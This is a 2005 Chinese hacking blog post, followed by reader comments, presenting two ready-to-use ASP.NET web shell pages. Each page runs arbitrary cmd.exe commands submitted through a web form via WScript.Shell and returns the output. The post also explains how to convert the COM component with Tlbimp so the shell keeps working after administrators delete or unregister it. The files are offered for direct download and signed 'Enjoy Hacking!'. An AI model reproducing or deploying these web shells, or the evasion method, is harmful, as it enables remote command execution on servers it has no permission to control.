lake2的专栏

千秋邈矣独留我,百战归来再读书

原创 ASP.NET下使用WScript.Shell执行命令收藏

新一篇: Request废话连篇 | 旧一篇: 轻轻绕过你的防线——霸道的柯南图片管理系统

        ASP.NET下有自己的执行CMD命令的方式,这里用WScript.Shell似有画蛇添足之嫌,但是我们也不能排除真的有机器禁用了.NET的相关类,未雨绸缪嘛。当然也不仅仅局限于WScript.Shell,只要是ASP中能用的组件,统统都可以用于ASP.NET中,而且还更方便!
        ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。
 
·Server对象的CreatObject方法
        这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
<!--
Titel:  WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org
Thanks: Internet
Date:  2005-8-20
-->
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
         Dim StrResult As String
         Dim CMDShell As Object
         CMDShell = Server.CreateObject("WScript.Shell")
         StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
         StrResult =  Replace(StrResult , "<","&lt;")
         StrResult =  Replace(StrResult , ">","&gt;")
         ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
  "cmd.exe"'s path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> 
  <br>
  Your Command:&nbsp;&nbsp;<asp:TextBox ID="CMDBox" Width="200" runat="server" /> 
  <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
  <br>
  <asp:Label ID="ResultLabel" runat="server" /> 
</form>
<div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------
</div>
<hr width="50%">
</body>
</html>
        保存为aspx文件,访问之,即可。
 
·COM组件转化为.NET组件
        微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
        虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
        WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
        然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。
<!--
Titel:  WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org
Thanks: Internet
Date:  2005-8-20
-->
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
         Dim StrResult As String
         Dim CMDShell As New WSHomx.WshShell
        ……
(后同代码1)
现在访问之,看看效果吧:)
by lake2
      同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

发表于 @ 2005年08月21日 07:26:00|评论(loading...)|编辑

新一篇: Request废话连篇 | 旧一篇: 轻轻绕过你的防线——霸道的柯南图片管理系统

评论

#日光海岸 发表于2005-08-25 13:29:00  IP: 211.100.4.*
我去年提的东西终于被你开发出来了,555。感动……
不过刀光,速度太慢了吧。
#lake2 发表于2005-08-26 08:03:00  IP: 211.100.4.*
喂,小子,我写的就是我写的,休想跟我抢功:)
#迷路 发表于2005-09-01 21:20:00  IP: 211.100.21.*
[quote]在一些英文网站看到这种有趣的Blog Tag游戏,规则很简单,开始游戏的人出一个题目,在自己的blog上写下答案,然后把题目丢给另外五个人,在文末附上这五个人的连结,并且到这些人的留言版上留下:"哈哈!你被贴了。"(哈哈是我自己加的)。这五个被tag到的人,在自己的blog注明(并附上连结)是从哪一个blogger那里传来的题目(这时候"引用"功能就很好用),然后写下答案,再去贴另外五个人。如此继续下去。[/quote]
上家迷路:[url]http://milu.0x54.org/[/url]
#skymoneyli 发表于2005-12-01 02:34:00  IP: 221.196.41.*
问老大个问题:就是如何用C#编写这个cmdshell,我弄了半天也弄不出来,好像C#不支持WScript.Shell,头疼呀!求老大帮帮忙!
#chaircat 发表于2006-12-11 11:47:35  IP: 58.62.228.*
那个...其实导入的DLL里面是直接用CLSID来调用COM组件的... 所以要是CLSID给改了就没办法了...
发表评论  


当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
Csdn Blog version 3.1a
Copyright © lake2